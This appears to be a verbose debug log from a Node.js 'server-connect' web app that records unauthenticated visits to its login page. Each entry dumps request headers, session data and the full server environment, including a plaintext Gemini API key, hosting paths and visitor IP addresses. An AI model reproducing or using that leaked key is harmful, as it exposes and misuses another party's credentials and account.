    'x-forwarded-for': '54.69.212.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:13:29.886Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.69.212.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '54.69.212.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:13:35.516Z server-connect:router Serving templateView /login
2025-12-12T15:13:35.517Z server-connect:app Executing action step identify
2025-12-12T15:13:35.517Z server-connect:app options: { provider: 'security' }
2025-12-12T15:13:35.517Z server-connect:auth No login cookie found
2025-12-12T15:13:35.517Z server-connect:output identity: false
2025-12-12T15:13:35.517Z server-connect:router Render template layouts/authentication
2025-12-12T15:13:35.517Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '54.69.212.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:13:35.516Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.69.212.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '54.69.212.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:13:46.903Z server-connect:router Serving templateView /login
2025-12-12T15:13:46.904Z server-connect:app Executing action step identify
2025-12-12T15:13:46.904Z server-connect:app options: { provider: 'security' }
2025-12-12T15:13:46.904Z server-connect:auth No login cookie found
2025-12-12T15:13:46.904Z server-connect:output identity: false
2025-12-12T15:13:46.904Z server-connect:router Render template layouts/authentication
2025-12-12T15:13:46.904Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '44.242.203.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:13:46.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.242.203.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '44.242.203.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:13:53.456Z server-connect:router Serving templateView /login
2025-12-12T15:13:53.457Z server-connect:app Executing action step identify
2025-12-12T15:13:53.457Z server-connect:app options: { provider: 'security' }
2025-12-12T15:13:53.457Z server-connect:auth No login cookie found
2025-12-12T15:13:53.457Z server-connect:output identity: false
2025-12-12T15:13:53.457Z server-connect:router Render template layouts/authentication
2025-12-12T15:13:53.457Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '44.242.203.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:13:53.456Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.242.203.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '44.242.203.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:10.163Z server-connect:router Serving templateView /
2025-12-12T15:28:10.163Z server-connect:app Executing action step identify
2025-12-12T15:28:10.163Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:10.163Z server-connect:auth No login cookie found
2025-12-12T15:28:10.163Z server-connect:output identity: false
2025-12-12T15:28:10.163Z server-connect:app Executing action step restrict
2025-12-12T15:28:10.163Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:28:10.164Z server-connect:output restrict: undefined
2025-12-12T15:28:10.209Z server-connect:router Serving templateView /login
2025-12-12T15:28:10.209Z server-connect:app Executing action step identify
2025-12-12T15:28:10.209Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:10.210Z server-connect:auth No login cookie found
2025-12-12T15:28:10.210Z server-connect:output identity: false
2025-12-12T15:28:10.210Z server-connect:router Render template layouts/authentication
2025-12-12T15:28:10.210Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0',
    'accept-encoding': 'gzip,br',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '52.16.245.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:10.209Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:10.761Z server-connect:router Serving templateView /
2025-12-12T15:28:10.761Z server-connect:app Executing action step identify
2025-12-12T15:28:10.762Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:10.762Z server-connect:auth No login cookie found
2025-12-12T15:28:10.762Z server-connect:output identity: false
2025-12-12T15:28:10.762Z server-connect:app Executing action step restrict
2025-12-12T15:28:10.762Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:28:10.762Z server-connect:output restrict: undefined
2025-12-12T15:28:10.812Z server-connect:router Serving templateView /login
2025-12-12T15:28:10.813Z server-connect:app Executing action step identify
2025-12-12T15:28:10.813Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:10.813Z server-connect:auth No login cookie found
2025-12-12T15:28:10.813Z server-connect:output identity: false
2025-12-12T15:28:10.813Z server-connect:router Render template layouts/authentication
2025-12-12T15:28:10.813Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not A(Brand";v="8", "Chromium";v="132"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '52.16.245.145',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:10.812Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not A(Brand";v="8", "Chromium";v="132"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:11.910Z server-connect:router Serving templateView /login
2025-12-12T15:28:11.910Z server-connect:app Executing action step identify
2025-12-12T15:28:11.910Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:11.910Z server-connect:auth No login cookie found
2025-12-12T15:28:11.910Z server-connect:output identity: false
2025-12-12T15:28:11.910Z server-connect:router Render template layouts/authentication
2025-12-12T15:28:11.911Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36',
    'accept-encoding': 'gzip,br',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '52.16.245.145',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:28:11.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.16.245.145',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '52.16.245.145',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:28:25.163Z server-connect:router Serving templateView /
2025-12-12T15:28:25.163Z server-connect:app Executing action step identify
2025-12-12T15:28:25.163Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:25.164Z server-connect:auth No login cookie found
2025-12-12T15:28:25.164Z server-connect:output identity: false
2025-12-12T15:28:25.164Z server-connect:app Executing action step restrict
2025-12-12T15:28:25.164Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:28:25.164Z server-connect:output restrict: undefined
2025-12-12T15:28:25.211Z server-connect:router Serving templateView /login
2025-12-12T15:28:25.211Z server-connect:app Executing action step identify
2025-12-12T15:28:25.211Z server-connect:app options: { provider: 'security' }
2025-12-12T15:28:25.211Z server-connect:auth No login cookie found
2025-12-12T15:28:25.211Z server-connect:output identity: false
2025-12-12T15:28:25.211Z server-connect:router Render template layouts/authentication
